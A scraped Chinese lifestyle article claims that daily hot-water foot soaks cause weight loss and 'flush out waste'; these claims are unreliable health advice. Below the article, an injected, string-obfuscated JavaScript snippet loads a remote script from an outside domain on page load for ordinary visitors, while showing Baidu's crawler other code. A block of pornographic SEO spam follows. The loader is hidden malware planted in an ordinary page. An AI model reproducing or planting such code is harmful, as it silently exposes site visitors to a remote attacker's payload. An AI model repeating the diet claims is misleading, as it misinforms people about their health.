當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

來(lái)看看泡腳減肥的原理是什么

2017-03-12 11:10:24  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):你知道有哪些減肥的方法呢?泡腳也能減肥嗎?很多人覺(jué)得這是天方夜譚,減肥哪能這么簡(jiǎn)單。但是今天小編要告訴大家的是,減肥就是這么簡(jiǎn)單,下面趕緊一起來(lái)看下。

減肥所需材料:要先準(zhǔn)備塑料水桶一個(gè),大小要足夠讓雙腳輕松地泡在里面為宜。還有保溫?zé)崴恳粋€(gè),裝滿熱水備用哦。我比較喜歡用一些精油或浴鹽,覺(jué)得對(duì)我放松神經(jīng)有一定的功效。這個(gè)大家可以選擇使用,不喜歡的不用也沒(méi)問(wèn)題。

泡腳減肥詳細(xì)步驟:

1、在塑料水桶中注入15-20公分深的水,水溫以攝氏41~42度為宜,最好能用溫度計(jì)量一量,或者就以泡澡的溫度為準(zhǔn),接著再放入精油或者浴鹽哈。

2、坐在一把舒適的椅子上,雙腳放進(jìn)水桶中,基本的浸泡時(shí)間是15~20分鐘。

3、水溫逐漸變冷以后,將熱水瓶中的熱水緩慢倒入水桶中,繼續(xù)泡腳。注意不要被熱水燙傷哦。

4、泡完之后,將雙腳擦干,穿上襪子保暖,如果擦上腳部護(hù)理霜,還可以給腳丫美容哦。最后再喝溫水補(bǔ)充水分,同時(shí)促進(jìn)新陳代謝。

5、1-4的步驟,有條件的話可以每天重復(fù)進(jìn)行1-3次,效果有一定的提高。我是一邊看電視一邊泡,感覺(jué)很好。

使用這個(gè)方法,還是因?yàn)樗恍枰M(fèi)力,減肥的效果相對(duì)是比較緩慢的,我差不多大半年才瘦下來(lái)17斤,但是這個(gè)方法會(huì)讓身體越來(lái)越健康,持之以恒的話你還是會(huì)欣喜的發(fā)現(xiàn)身材越來(lái)越好的。

泡腳減肥具體原理:

話說(shuō)現(xiàn)代人經(jīng)常都會(huì)躲在空調(diào)的室內(nèi),飲食不均衡,生活不規(guī)律,再加上無(wú)形的生活壓力,很容易導(dǎo)致全身的血液循環(huán)逐漸惡化,引起水腫現(xiàn)象。而缺乏運(yùn)動(dòng)只會(huì)使情況更加惡化,尤其女孩子更容易引起水腫或下半身肥胖等問(wèn)題。這個(gè)時(shí)候用泡腳來(lái)減肥就再合適不過(guò)啦,又可暖身,只要每天將雙腳浸泡在溫水中15-20分鐘即可。

剛開(kāi)始的時(shí)候會(huì)先從腳底傳來(lái)溫暖,幾分鐘后,體內(nèi)就會(huì)覺(jué)得熱呼呼,然后熱氣會(huì)隨著血液,循環(huán)至身體的每個(gè)角落,感覺(jué)積存的老舊廢物都在排出體外。心情無(wú)比順暢。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久91精品综合国产首页| 夜色www国产精品资源站| 精品人妻少妇一区二区| 国产精品区AV一区二区 | 久久99精品久久久久久首页| 无码日韩精品一区二区三区免费| 久久精品*5在热| 99re在线精品视频| 国产精品亚洲片在线va| 久久久g0g0午夜无码精品| 国产精品日韩一区二区三区| 国产成人精品免费大全| 国产一级精品高清一级毛片| 亚洲精品午夜无码电影网| 久久96国产精品| 国产成人精品免费午夜app| 亚洲国产欧美日韩精品一区二区三区 | 国产精品亚洲五月天高清| 国产福利精品在线观看| 亚洲中文久久精品无码ww16| 久久亚洲精精品中文字幕| 国产精品视频yuojizz| 国产精品扒开做爽爽爽的视频 | 人妻精品久久久久中文字幕69| 亚洲精品熟女国产| 国产成人无码精品久久久小说 | 国产精品入口麻豆完整版| 国产99视频精品免费视频76| 国产亚洲精品岁国产微拍精品| 久久夜色精品国产网站| 国产精品美女久久福利网站| 国产一区精品视频| 国产精品99久久久精品无码| 99久久精品国产片久人| 91免费精品国自产拍在线不卡| 青娱乐国产精品视频| 久久er热视频在这里精品| 日韩精品一区二区三区老鸭窝| 国产精品免费看久久久无码| 亚洲日韩一页精品发布| 久久久久久精品免费看SSS |